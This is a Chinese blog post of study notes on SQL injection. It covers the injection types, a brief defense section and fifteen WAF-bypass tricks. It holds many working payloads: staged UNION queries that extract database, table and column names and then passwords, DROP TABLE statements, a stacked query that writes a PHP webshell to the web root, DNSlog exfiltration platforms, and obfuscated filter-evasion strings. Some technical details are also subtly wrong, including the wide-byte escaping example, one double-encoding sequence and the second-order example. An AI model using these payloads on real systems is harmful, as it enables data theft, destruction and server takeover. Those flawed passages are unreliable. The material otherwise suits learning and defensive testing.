题外话:在本主播长达半年的学习之后,终于将大部分的漏洞啥原理都学了一遍。本来是打算每个阶段写一篇博客的,但是奈何网络安全这门课程的特殊性,经常有些东东无法过审,故而感觉不如笔记,作业来得实在。而且许多东西初学是需要自行消化的,并不能很好的进行一个汇总,再加上在校并不能完全投入网安,只能利用课余时间进行学习,所以博客一直耽搁了。如今主播打算利用暑假,好好完成网安知识点的梳理,争取快速提高自己的竞争力
本篇为主播经过个人理解的总结,如若有误欢迎指出
SQL注入的原理与危害
- 简述:攻击者通过构造恶意输入,欺骗后端 SQL 服务器解析并执行非预期的 SQL 语句,从而导致数据泄露、篡改或系统受损。
典型危害
-
数据泄露
- 攻击者可获取敏感数据(用户密码、信用卡号、个人信息)。
- 示例:通过
UNION查询绕过验证并读取其他表数据。
-
数据篡改或删除
- 修改或删除数据库记录(如用户信息、交易数据)。
- 示例:执行
DELETE或UPDATE语句破坏数据完整性。
-
系统接管
- 利用数据库的系统命令执行功能(如 SQL Server 的
xp_cmdshell)获取服务器权限。
- 利用数据库的系统命令执行功能(如 SQL Server 的
-
持久化后门
- 注入恶意代码到数据库,长期潜伏并窃取数据。
SQL注入分类
一.按数据类型分类
-
数字型注入:
- 原理:当应用程序将用户输入直接作为数字型参数拼接到 SQL 语句中,且未做严格的输入验证时,就可能引发数字型注入。在这种情况下,SQL 语句不需要使用引号来包裹参数。
- 示例:假设存在 SQL 查询语句
SELECT * FROM users WHERE id = {user_input},如果用户输入1 OR 1=1,最终执行的 SQL 语句变为SELECT * FROM users WHERE id = 1 OR 1=1,由于1=1恒成立,这样就会返回所有用户信息。
-
字符型注入:
- 原理:在 SQL 语句中,当参数为字符类型时,通常需要用单引号或双引号进行包裹。攻击者通过输入特殊字符,闭合 SQL 语句中的引号,并添加恶意代码,从而改变 SQL 语句原本的逻辑。
- 示例:若 SQL 查询语句是
SELECT * FROM users WHERE username = '{user_input}',当用户输入' OR '1'='1时,SQL 语句变成SELECT * FROM users WHERE username = '' OR '1'='1',成功绕过用户名验证,获取到相关数据。
二.按注入手法分类
一、联合查询注入(Union-Based SQLi)
核心逻辑:利用 UNION 操作符合并多条查询结果,需满足列数匹配和数据类型兼容。
攻击步骤:
1. 发现注入点(定位可注入参数)
-
核心逻辑:通过输入特殊字符(如单引号
'、双引号"、括号()等),观察页面响应差异,判断是否存在 SQL 注入漏洞。 -
实操示例(以 URL 参数
?id=1为例):- 输入
?id=1'(单引号闭合测试),若页面报错(如 SQL 语法错误、数据库报错信息),或显示异常(如空白页、内容缺失),则可能存在字符型注入。 - 输入
?id=1 and 1=2,若页面返回结果与?id=1不同(如正常有数据,注入后无数据),则可能存在数字型注入。
- 输入
-
关键判断:通过响应差异化(报错、内容变化)确认参数是否可控,且能影响 SQL 语句执行逻辑。
2. 判断注入类型(字符型 vs 数字型)
-
字符型注入:
- 特征:SQL 语句中参数用单引号 / 双引号包裹(如
SELECT * FROM users WHERE id='1')。 - 测试:输入
?id=1' OR '1'='1,若页面返回正常数据(或更多数据),说明单引号成功闭合,存在字符型注入。
- 特征:SQL 语句中参数用单引号 / 双引号包裹(如
-
数字型注入:
- 特征:SQL 语句中参数无引号包裹(如
SELECT * FROM users WHERE id=1)。 - 测试:输入
?id=1 OR 1=1,若页面返回所有数据(或异常大量数据),说明逻辑被篡改,存在数字型注入。
- 特征:SQL 语句中参数无引号包裹(如
3. 判断列数(用 ORDER BY 确定字段数量)
-
核心逻辑:
ORDER BY N用于对结果集按第N列排序,若N超过实际列数,SQL 会报错。通过递增N直到报错,即可确定列数。 -
实操示例:
- 输入
?id=1 ORDER BY 1→ 页面正常(列数 ≥1)。 - 输入
?id=1 ORDER BY 2→ 页面正常(列数 ≥2)。 - ...
- 输入
?id=1 ORDER BY 5→ 页面报错(列数为 4)。
- 输入
-
结论:最终不报错的最大
N值,即为表的字段数量(列数) 。
4. 确定回显位(用 UNION SELECT 找数据显示位置)
-
核心逻辑:
UNION SELECT需前后查询的列数、数据类型匹配。通过构造UNION SELECT 1,2,3...(数字数量 = 列数),观察页面中显示的数字位置,确定哪些列会回显到前端。 -
实操示例(假设列数为 4):
- 输入
?id=0 UNION SELECT 1,2,3,4(id=0让原查询无结果,仅显示UNION结果)。 - 若页面显示
2和4,说明第 2、4 列是回显位(后续可替换为敏感数据查询)。
- 输入
5. 初步信息搜集(用数据库函数查版本、库名等)
-
核心逻辑:利用数据库内置函数(如
version()、database()),替换回显位的数字,查询数据库基础信息。 -
常见函数(以 MySQL 为例):
version():查数据库版本(判断是否 ≥5.0,是否支持information_schema)。database():查当前数据库名。user():查数据库用户权限。
-
实操示例(回显位为第 2、4 列):
输入?id=0 UNION SELECT 1,version(),3,database(),页面若显示5.7.36(版本)和test_db(库名),则完成基础信息搜集。
6. 深度数据窃取(查库、查表、查字段)
-
核心逻辑:利用
information_schema(MySQL 5.0+ 内置库), 逐层 “探库→探表→探字段→拖数据” -
核心语句(获取某个表详细数据):select 字段 from 库名.表名
-
步骤拆解:
1、 查所有数据库名(探库)
sql
select group_concat(schema_name) from information_schema.schemata;
-
作用:查询 MySQL 中所有数据库的名称。
-
关键函数:
information_schema.schemata:存储所有数据库的元数据。group_concat():将多行结果合并为一行(方便在注入时通过页面回显一次性显示)。
-
场景:注入时,替换联合查询的回显位,就能看到目标系统有哪些数据库(如
dvwa, mysql, performance_schema)。
2、 查指定数据库的表名(探表)
sql
select group_concat(table_name) from information_schema.tables where table_schema='users';
- 作用:查询
dvwa数据库中所有表的名称。 - 条件:
where table_schema='users'限定只查users库的表。 - 场景:知道数据库名后,进一步缩小范围,找到可能存敏感数据的表(如
users, products, logs)。
3、 查指定表的字段名(探字段)
sql
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
-
作用:查询
security库中users表的所有字段名。 -
条件:
table_schema='security':限定数据库。table_name='users':限定表。
-
场景:确定目标表后,获取字段名(如
id, username, password),为最终拖数据做准备。
4、 查目标表的详细数据(拖数据)
sql
select group_concat(id,username,password) from security.users;
-
作用:查询
security库中users表的id、username、password字段数据,并合并显示。 -
关键:
- 需提前通过前几步拿到库名(security)、表名(users)、字段名(id, username, password) 。
group_concat()把多行数据合并为一行,适合注入时通过页面回显一次性获取结果。
注入场景下的完整链路
-
联合注入中整合:
攻击者会把这些语句嵌套进联合查询,利用页面回显位展示结果。例如:sql
?id=0 UNION SELECT 1, (select group_concat(schema_name) from information_schema.schemata), 3, 4;(通过
UNION把查库名的结果,放到回显位展示。一共四列,其中第二号位置会回显) -
逐层渗透的必要性:
因为攻击者初始不知道库名、表名、字段名,必须先通过information_schema“探路”,才能精准拿到目标表的敏感数据。
联合注入的核心限制
- 列数必须严格匹配:
UNION前后查询的列数、数据类型不一致会报错。 - 依赖
information_schema:MySQL 5.0 以下版本无此库,需换其他方式(如暴力猜解表名)。 - 回显位有限:若前端仅显示部分列,需优先利用可回显的位置注入。
二、盲注(Blind SQLi)
核心逻辑:通过构造条件语句,根据页面响应的布尔值或响应时间推断数据。
分类:
-
布尔盲注(Boolean-Based)
- 原理:基于条件判断的真假返回不同页面(如
id=1 AND 1=1正常,id=1 AND 1=2异常)推断条件是否成立,从而 “盲猜” 数据库信息。因为页面没有直接回显 SQL 结果,只能靠 “条件是否成立” 的间接反馈,所以需要逐字符、逐长度去 “试错”。
- 原理:基于条件判断的真假返回不同页面(如
1. 判断注入点(确定参数是否可控)
-
操作:给参数传入特殊字符(如
'、"、and 1=1、and 1=2),观察页面响应。 -
判断逻辑:
- 若
and 1=1时页面正常,and 1=2时页面异常(如空白、报错、内容缺失)→ 存在注入点,且参数能影响 SQL 逻辑。 - 若响应无差异→ 可能无注入,或需换其他字符测试(如
or、括号等)。
- 若
2. 判断注入类型(字符型 / 数字型,决定是否需要闭合)
-
字符型注入:
- 特征:SQL 语句中参数用单引号 / 双引号包裹(如
SELECT * FROM users WHERE id='1')。 - 测试:输入
' and 1=1 --(闭合引号 + 构造条件),若页面正常→ 字符型注入。
- 特征:SQL 语句中参数用单引号 / 双引号包裹(如
-
数字型注入:
- 特征:SQL 语句中参数无引号包裹(如
SELECT * FROM users WHERE id=1)。 - 测试:输入
and 1=1,若页面正常→ 数字型注入(无需闭合引号)。
- 特征:SQL 语句中参数无引号包裹(如
3. 构造差异化条件(区分 “真 / 假” 响应)
-
核心:构造两个矛盾的条件(如
条件A为真和条件A为假),观察页面响应差异,确认 “真 / 假” 对应的响应模式。 -
示例(假设注入点为
id参数):- 条件为真:
?id=1' and 1=1 --→ 页面正常(内容完整)。 - 条件为假:
?id=1' and 1=2 --→ 页面异常(内容缺失 / 空白)。
- 条件为真:
-
结论:后续用这种 “正常 = 真,异常 = 假” 的差异,推断其他条件是否成立。
4. 判断数据库类型(选对函数,精准注入)
-
为什么要判断:不同数据库(MySQL、SQL Server、Oracle 等)的函数语法不同(如截取字符串的函数有差异),需先确定类型,才能正确构造语句。
-
常用判断方法:
-
测试函数语法:
- MySQL:
?id=1' and version() like '5%' --(用version()查版本,判断是否为 MySQL)。 - SQL Server:
?id=1 and @@version like 'Microsoft%' --(用@@version查版本)。
- MySQL:
-
5. 用字符串函数 “逐字符猜解” 数据
布尔盲注的核心是 “猜解长度 → 逐字符猜内容”,依赖以下字符串函数(以 MySQL 为例):
| 函数 | 作用 | 注入场景示例(猜数据库名) |
|---|---|---|
length() | 判断字符串长度 | length(database())=5 → 猜数据库名是否 5 个字符 |
substr() | 截取字符串(从指定位置开始) | substr(database(),1,1)='s' → 猜第 1 个字符是否为 s |
mid() | 同 substr()(MySQL 别名) | mid(database(),2,1)='e' → 猜第 2 个字符是否为 e |
left() | 取字符串左侧若干字符 | left(database(),3)='sec' → 猜前 3 个字符是否为 sec |
right() | 取字符串右侧若干字符 | right(database(),2)='ty' → 猜最后 2 个字符是否为 ty |
猜解流程示例(以 “猜当前数据库名” 为例):
-
猜长度:
sql
?id=1' and length(database())=5 --- 若页面正常→ 数据库名长度为 5;若异常→ 调整数字继续试。
-
逐字符猜内容(假设长度为 5,猜第 1 个字符):
sql
?id=1' and substr(database(),1,1)='s' --- 若页面正常→ 第 1 个字符是
s;若异常→ 换字符(a、b…)继续试。
- 若页面正常→ 第 1 个字符是
-
重复步骤 2,依次猜第 2、3、4、5 个字符,最终拼出完整数据库名(如
security)。 -
时间盲注(Time-Based)
-
原理:利用
SLEEP()或WAITFOR DELAY函数,根据页面响应延迟判断条件。 -
示例(MySQL) :
sql
id=1' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) -- -- 若页面延迟5秒,则用户表存在
-
-
DNSlog 注入
-
原理:利用数据库的 DNS 解析功能(如
LOAD_FILE、xp_dirtree),将查询结果拼接为域名并触发 DNS 解析,通过查看 DNSlog 平台的记录获取数据。 -
dns在线平台:
http://www.dnslog.cn https://dig.pm/ http://ceye.io/profile //需要注册 http://eyes.sh/dns/ //需要注册 -
攻击流程:
1. 攻击者控制一个 DNS 服务器(或使用公开 DNSlog 平台,如 `dnslog.cn`),获取一个子域名(如 `xxx.dnslog.cn`)。 2. 构造注入语句,将查询结果(如用户名、密码)拼接为子域名的前缀,触发数据库解析该域名。 3. 查看 DNSlog 平台的解析记录,提取拼接的敏感数据
-
三、堆叠查询注入(Stacked Queries)
核心逻辑:利用分号(;)分隔多条 SQL 语句,一次性执行多个命令(需数据库支持)。
危险操作:
-
数据篡改:
id=1; UPDATE users SET password='newpass' WHERE id=1-- -
表删除:
id=1; DROP TABLE logs-- -
文件写入:
id=1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/shell.php'--
限制:多数 Web 框架(如 PHP 的 mysqli_query())默认禁止多语句执行,需配合配置漏洞利用。
四、报错注入(Error-Based SQLi)
核心逻辑:通过构造错误语句,迫使数据库在错误信息中泄露敏感数据。
常见函数:
-
MySQL:
UPDATEXML()、EXTRACTVALUE()、GEOMETRYCOLLECTION() -
SQL Server:
FLOOR(RAND()*2)、CAST()类型转换错误
示例(MySQL) :
sql
id=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1) --
-- 错误信息:XPATH syntax error: '~admin123~'
五、宽字节注入
核心逻辑:利用数据库字符编码(如 GBK、UTF-8)的宽字节特性,绕过单引号过滤。
攻击条件:
-
应用使用
addslashes()等函数转义单引号('变为')。 -
数据库字符集支持宽字节(如 GBK 的
%df%27组合为合法字符é)。
示例:
sql
输入:%df' OR 1=1 --
转义后:%df' OR 1=1 --
解码为 GBK:é' OR 1=1 -- (单引号被成功闭合)
六、二次注入(Second-Order SQLi)
核心逻辑:将恶意输入先存储到数据库(如用户资料字段),后续查询该数据时触发注入。
攻击场景:
-
步骤 1:注册用户名
'; DROP TABLE users; -- -
步骤 2:当应用执行
SELECT * FROM users WHERE username='恶意用户名'时,实际执行:sql
SELECT * FROM users WHERE username='' OR 1=1; DROP TABLE users; --'
七、预编译语句注入(Bypass Prepared Statements)
核心逻辑:利用驱动程序或框架的漏洞,绕过预编译语句的防护。
常见场景:
-
PHP PDO 类型混淆:
php
// 代码:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); // 攻击:传入数组参数 [array(1, " OR 1=1 --")],导致参数化失效 -
JSON 解析漏洞:
json
// 应用期望 JSON 格式:{"id": 1} // 攻击输入:{"id": "1'; DROP TABLE users; --"}
八、HTTP 头注入
核心逻辑:利用 HTTP 头(如 User-Agent、Cookie)中的参数进行注入。
示例(Cookie 注入) :
sql
原查询:SELECT * FROM sessions WHERE token='{$_COOKIE["token"]}'
注入后:token=normal_token'; DROP TABLE sessions; --
九、ORM 注入(对象关系映射注入)
核心逻辑:攻击 ORM 框架(如 Hibernate、Django ORM)的查询语法。
示例(Django ORM) :
python
运行
# 代码:User.objects.get(username=request.GET['username'])
# 攻击输入:?username=admin' OR '1'='1
# 生成的SQL:SELECT * FROM users WHERE username='admin' OR '1'='1'
十、XML 注入
核心逻辑:篡改应用处理的 XML 数据,影响后续 SQL 查询。
示例:
xml
原XML:<user><id>1</id></user>
注入后:<user><id>1</id><password> OR 1=1 --</password></user>
十一、NoSQL 注入
核心逻辑:针对 MongoDB、CouchDB 等 NoSQL 数据库的注入攻击。
示例(MongoDB) :
javascript
// 原查询:db.users.find({username: req.body.username, password: req.body.password})
// 攻击输入:{"username": {"$ne": null}, "password": {"$ne": null}}
// 效果:匹配所有用户名和密码不为 null 的记录
防御要点
- 预编译语句 + 参数化查询:彻底防范 SQL 注入(NoSQL 需使用安全查询 API)。
- 输入验证:白名单过滤,拒绝特殊字符(如
',;,--)。 - 最小权限原则:数据库账户仅授予必要权限(如禁止
FILE权限)。 - ORM 安全配置:禁用动态拼接查询,使用安全的查询构建器。
SQL注入绕waf常见手法
1. 函数替换
-
原理:WAF 通常会对常见的 SQL 敏感函数(如
substring、ascii等)进行拦截,通过替换为功能等效的其他函数,规避检测。 -
步骤:
- 识别 WAF 拦截的敏感函数(如
substring()) - 查找功能相同的替代函数(如
substr()与substring()功能一致) - 替换后构造 Payload,例如将
substring(database(),1,1)替换为substr(database(),1,1)
- 识别 WAF 拦截的敏感函数(如
2. 利用大小写绕过内置 WAF
-
原理:部分 WAF 规则仅匹配固定大小写的关键字(如仅检测小写
select),通过混合大小写破坏规则匹配。 -
步骤:
- 定位 SQL 注入中的关键字(如
select、union、where等) - 对关键字进行大小写混合处理(如
SELect、UnIoN) - 构造 Payload,例如
id=1 UnIoN SeLeCt 1,2,database()
- 定位 SQL 注入中的关键字(如
3. 内联注释
-
原理:MySQL 支持内联注释
/*!...*/,注释内的内容会被数据库执行,但可能被 WAF 当作注释忽略。 -
步骤:
- 确定需要隐藏的关键字或语句(如
union select) - 将关键字包裹在内联注释中(如
/*!UNION*/ /*!SELECT*/) - 构造 Payload,例如
id=1/*!UNION*/ALL/*!SELECT*/1,2,3
- 确定需要隐藏的关键字或语句(如
4. 分块传输
-
原理:利用 HTTP 分块传输编码(
Transfer-Encoding: chunked),将 Payload 拆分为多个块发送,WAF 可能无法拼接完整内容进行检测。 -
步骤:
- 将完整 Payload 拆分为多个小片段(如
union select拆分为uni、on se、lect) - 配置 HTTP 请求头,启用分块传输(
Transfer-Encoding: chunked) - 按分块格式依次发送各片段,服务器接收后会自动拼接执行
- 将完整 Payload 拆分为多个小片段(如
5. 脏字符号
-
原理:在敏感关键字中插入无害符号(如空格、注释符
/**/、换行符等),WAF 检测时可能因符号中断匹配,而数据库解析时会忽略这些符号。 -
步骤:
- 选择需要插入符号的关键字(如
select) - 在关键字中间插入符号(如
se/**/lect、s%0Elect,%0E为 ASCII 控制字符) - 构造 Payload,例如
id=1 union/**/select 1,2,3
- 选择需要插入符号的关键字(如
6. 反引号包裹
-
原理:MySQL 中反引号
`用于标识表名、列名或函数名,部分 WAF 可能不检测反引号包裹的内容,从而绕过对函数 / 关键字的拦截。 -
步骤:
- 确定需要保护的函数或关键字(如
select、user()) - 用反引号包裹目标(如
se`lect`、`user()`) - 构造 Payload,例如
id=1 union se`lect` 1,2,`user()`
- 确定需要保护的函数或关键字(如
7. 利用截取函数(LPAD/RPAD)
-
原理:
LPAD(str,len,padstr)和RPAD(str,len,padstr)用于在字符串左右填充字符,可通过构造特定字符串绕过对固定值的检测。 -
步骤:
- 确定需要构造的字符(如获取数据库名首字母为
p,ASCII 码为 112) - 使用截取函数生成目标字符,例如
LPAD('a',1,CHAR(112))可生成'p' - 构造 Payload,例如
ascii(substr(database(),1,1))=LPAD('',1,CHAR(112))
- 确定需要构造的字符(如获取数据库名首字母为
8. ASCII 码转换与比较(ascii(mid(...)) in (...))
-
原理:将字符串按字符转换为 ASCII 码,通过比较 ASCII 值绕过 WAF 对字符串的检测(如避免直接出现
'p')。 -
步骤:
- 确定需要获取的信息(如数据库名的第一个字符)
- 用
mid()截取字符(mid(database(),1,1)获取首字符) - 用
ascii()转换为 ASCII 码(ascii(mid(database(),1,1))) - 用
in或=进行比较,例如ascii(mid(database(),1,1)) in (112)(112 对应'p')
9. 编码转换
-
原理:通过 URL 编码、Unicode 编码、HTML 实体编码等方式,将敏感字符转换为编码形式,绕过 WAF 对原始字符的检测,而服务器会自动解码执行。
-
步骤:
- 识别 Payload 中的敏感字符(如单引号
'、等号=、关键字union) - 对敏感字符进行编码(如
'的 URL 编码为%27,union的 Unicode 编码为%75%6E%69%6F%6E) - 构造编码后的 Payload,例如
id=1%27%20union%20select%201,2,3--+(%27为单引号,%20为空格)
- 识别 Payload 中的敏感字符(如单引号
10. 堆叠查询
-
原理:使用分号
;分隔多个 SQL 语句,部分 WAF 可能只检测第一个语句,而数据库会执行所有语句,适用于支持堆叠查询的数据库(如 MySQL)。 -
步骤:
- 在原始查询后添加分号
; - 拼接第二个恶意语句(如
insert、update、drop等) - 构造 Payload,例如
id=1;drop table users--+
- 在原始查询后添加分号
11. 利用特殊符号替代空格
-
原理:SQL 语句中空格可被其他空白符替代(如
%09(制表符)、%0A(换行符)、%0C(换页符)等),WAF 可能只检测空格而忽略这些符号。 -
步骤:
- 定位 Payload 中的空格位置(如
select id from users中的空格) - 用特殊空白符替换空格(如
select%09id%0Afrom%0Cusers) - 构造 Payload,例如
id=1%0Aunion%09select%0C1,2,3
- 定位 Payload 中的空格位置(如
12. 二次编码
-
原理:对 Payload 进行两次 URL 编码,WAF 可能只解码一次而无法识别恶意内容,服务器会进行二次解码后执行。
-
步骤:
- 对原始 Payload 进行第一次 URL 编码(如
union select编码为%75%6E%69%6F%6E%20%73%65%6C%65%63%74) - 对第一次编码的结果再次编码(如上述结果编码为
%25%37%35%25%36%45%25%36%39%25%36%46%25%36%3E%25%32%30%25%37%33%25%36%35%25%36%43%25%36%35%25%36%33%25%37%34) - 将二次编码后的 Payload 放入请求中
- 对原始 Payload 进行第一次 URL 编码(如
13. 利用数据库特性(如变量赋值)
-
原理:通过 MySQL 变量赋值(
@)将敏感内容拆分存储,再拼接执行,绕过对完整关键字的检测。 -
步骤:
- 定义变量存储拆分的关键字(如
@a='unio';@b='n sel';@c='ect') - 拼接变量构造完整语句(如
@a@b@c即union select) - 构造 Payload,例如
id=1;set @a='unio';set @b='n select';prepare stmt from @a@b;execute stmt--+
- 定义变量存储拆分的关键字(如
14. HTTP 参数污染
-
原理:在 HTTP 请求中重复提交参数(如
id=1&id=2 union select 1,2,3),WAF 可能只检测第一个参数,而服务器可能取第二个参数值执行。 -
步骤:
- 确定注入点参数(如
id) - 第一次提交正常参数值(如
id=1) - 第二次提交包含恶意 Payload 的参数值(如
id=2 union select 1,2,3) - 构造请求 URL:
http://example.com/?id=1&id=2 union select 1,2,3
- 确定注入点参数(如
15. 宽字节注入(针对 GBK 编码)
-
原理:在 GBK 编码下,
%df'会被解析为一个宽字节(而非%df和单引号'),可绕过对单引号的转义(如magic_quotes_gpc)和 WAF 检测。 -
步骤:
- 确认目标服务器使用 GBK 编码
- 用
%df等字符在单引号前拼接(如%df') - 构造 Payload,例如
id=1%df' union select 1,2,3--+